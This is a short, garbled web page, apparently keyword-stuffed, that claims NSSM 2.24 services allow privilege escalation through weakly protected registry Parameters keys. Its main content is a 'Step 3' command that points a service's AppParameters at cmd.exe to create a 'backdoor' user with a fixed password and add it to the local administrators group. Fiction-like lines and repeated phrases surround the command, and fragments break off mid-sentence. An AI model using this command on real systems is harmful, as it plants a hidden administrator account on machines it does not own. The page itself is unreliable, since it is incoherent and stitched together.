Nssm224 Privilege Escalation Updated Now
The terminal flickered with a single line of text that changed everything: NSSM224: Privilege Escalation Updated.
- reg query "HKLM\SYSTEM\CurrentControlSet\Services\ExampleSvc" /s
Updated Privilege Escalation via Registry ACLs
Researchers discovered that in NSSM 2.24, the Parameters subkey (which holds Application, AppDirectory, AppParameters) is not always protected. If the installer used the default NSSM service creation without adjusting registry permissions: nssm224 privilege escalation updated
REM Step 3: Modify service to run malicious payload C:\Users\Public\nssm.exe set VulnService AppParameters "C:\Windows\System32\cmd.exe /c net users backdoor P@ssw0rd /add && net localgroup administrators backdoor /add" The terminal flickered with a single line of
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